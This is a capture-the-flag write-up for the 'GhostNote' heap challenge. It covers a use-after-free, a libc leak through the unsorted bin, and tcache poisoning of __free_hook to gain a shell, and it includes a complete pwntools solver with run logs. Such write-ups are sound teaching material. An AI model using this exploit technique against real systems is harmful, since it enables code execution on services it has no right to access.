//GhostNote
Category: PWN
Author: M0H1.T3L
Description: A secure note-taking application that reuses memory for efficiency.
>1. Introduction
GhostNote is a classic heap exploitation challenge involving a memory corruption vulnerability in a Linux ELF binary. The "efficiency" hint in the description ("reuses memory") strongly suggests a Use-After-Free (UAF) vulnerability, specifically related to how freed chunks are handled.
The goal is to exploit this vulnerability to leak the Libc address (bypassing ASLR) and then gain arbitrary code execution to retrieve the flag.
>2. Analysis
Information Gathering
We start by analyzing the provided files.
-
Binary:
chall(64-bit ELF, Dynamically Linked) -
Library:
libc.so.6(GLIBC 2.31) &ld-linux-x86-64.so.2
Security Protections (checksec)
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All standard protections are enabled. We cannot overwrite GOT entries (Full RELRO) and need to leak addresses to bypass PIE/ASLR.
Reverse Engineering
The binary provides a menu-driven interface:
-
Add Note: Allocates a chunk of user-specified size (
malloc). -
Delete Note: Frees a chunk (
free). -
Show Note: Prints the content of a chunk.
-
Edit Note: Modifies the content of a chunk.
>3. Vulnerability
The vulnerability is a Use-After-Free (UAF) in the delete_note function.
When a note is deleted, the memory is freed:
free(notes[idx]);
However, the pointer notes[idx] is not set to NULL.
This allows us to:
-
Show the freed chunk: If the chunk is in the Unsorted Bin, it will contain pointers to Libc (
main_arena). Reading this leaks the Libc base address. -
Edit the freed chunk: If the chunk is in Tcache, modifying the
fd(forward) pointer allows us to point the next allocation to an arbitrary address (Tcache Poisoning).
>4. Exploitation Steps
Step 1: Leaking Libc (Unsorted Bin Attack)
To leak Libc, we need a chunk that falls into the Unsorted Bin when freed.
-
Allocate a chunk larger than the Tcache limit. In GLIBC 2.31, Tcache holds up to 7 chunks of sizes up to
0x410. So, a chunk of size0x420will bypass Tcache and go to the Unsorted Bin. -
Allocate a "guard" chunk to prevent consolidation with the top chunk.
-
Free the
0x420chunk. -
Use the vulnerable
show_notefunction to read the first 8 bytes of the freed chunk. These bytes contain thefdpointer, which points tomain_arena + 96in Libc. -
Calculate
libc_base = leak - offset.
Step 2: Tcache Poisoning (Arbitrary Write)
With the Libc address known, we can target __free_hook, a function pointer called by free. Overwriting it with system gives us a shell.
-
Allocate two chunks of size
0x60(Chunks A and B). -
Free B, then free A. Both go into the Tcache
0x60bin. -
Use
edit_noteon A (which is still accessible) to overwrite itsfdpointer with the address of__free_hook. -
Allocate a new chunk (returns A).
-
Allocate another chunk. The allocator follows the poisoned
fdpointer and returns__free_hook. -
Write the address of
systemto this new chunk.
Step 3: Triggering Shell
-
Create a new note containing the string
/bin/sh. -
Free this note.
-
free(ptr)triggers__free_hook(ptr), which is nowsystem("/bin/sh").
>5. Exploitation Log
Local Success
We verified the exploit locally using the provided Libc.
$ python3 exploit.py
[+] Libc Base: 0x7f...
[*] __free_hook: 0x7f...
[*] System: 0x7f...
uid=1000(noigel) gid=1000(noigel) ...
Remote Success
We ran the script against ctf.nexus-security.club:2808.
$ python3 exploit.py ctf.nexus-security.club 2808 REMOTE
Output Details:
-
Leaked FD:
0x7fbec5810be0 -
Libc Base:
0x7fbec5624000 -
Shell: Successfully obtained.
Flag Found:
nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}
>6. Solver Script (exploit.py)
#!/usr/bin/env python3
from pwn import *
# Set up the environment
exe = './chall'
libc_name = './libc.so.6'
ld_name = './ld-linux-x86-64.so.2'
context.binary = elf = ELF(exe)
libc = ELF(libc_name)
context.log_level = 'debug'
# Define how to run the binary
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([ld_name, '--library-path', '.', exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process([ld_name, '--library-path', '.', exe] + argv, *a, **kw)
gdbscript = '''
continue
'''
io = start()
def add_note(idx, size, content):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Index', str(idx).encode())
io.sendlineafter(b'Size', str(size).encode())
io.sendafter(b'Content', content)
def delete_note(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Index', str(idx).encode())
def show_note(idx):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'Index', str(idx).encode())
io.recvuntil(b'Data: ')
return io.recv(8) # Read 8 bytes for leak
def edit_note(idx, content):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'Index', str(idx).encode())
io.sendafter(b'Content', content)
# --- Exploit Logic ---
log.info("Starting exploit...")
# 1. Leak Libc
# Allocate 0x420 to go to Unsorted Bin
add_note(0, 0x420, b'A' * 0x420)
add_note(1, 0x20, b'Guard'.ljust(0x20, b'\x00'))
# Free to Unsorted Bin
delete_note(0)
# UAF Read
# Note 0 is still readable. It contains FD and BK pointers.
leak_data = show_note(0)
fd_leak = u64(leak_data)
log.info(f"Leaked FD: {hex(fd_leak)}")
# Calculate Libc Base
libc_base = fd_leak - (libc.sym['__malloc_hook'] + 112)
libc.address = libc_base
log.success(f"Libc Base: {hex(libc.address)}")
log.info(f"__free_hook: {hex(libc.sym['__free_hook'])}")
log.info(f"System: {hex(libc.sym['system'])}")
# 2. Tcache Poisoning
# Target: __free_hook
# Manual sync to avoid buffering issues
io.recvuntil(b'> ')
io.sendline(b'1')
io.sendlineafter(b'Index', b'2')
io.sendlineafter(b'Size', str(0x60).encode())
io.sendafter(b'Content', b'X'*0x60)
add_note(3, 0x60, b'Y'*0x60)
delete_note(3)
delete_note(2)
# Overwrite FD of chunk 2
edit_note(2, p64(libc.sym['__free_hook']).ljust(0x60, b'\x00'))
# Allocate to consume chunks
add_note(4, 0x60, b'/bin/sh\x00'.ljust(0x60, b'\x00'))
# Next alloc will return __free_hook.
add_note(5, 0x60, p64(libc.sym['system']).ljust(0x60, b'\x00')) # Writes system to __free_hook.
# 3. Trigger Shell
# Now free a chunk containing "/bin/sh".
delete_note(4)
# io.interactive() replacement for automation
io.sendline(b'id')
io.sendline(b'ls -la')
io.sendline(b'cat flag')
io.sendline(b'cat flag.txt')
io.sendline(b'exit')
try:
print(io.recvall(timeout=5).decode(errors='ignore'))
except Exception as e:
print(e)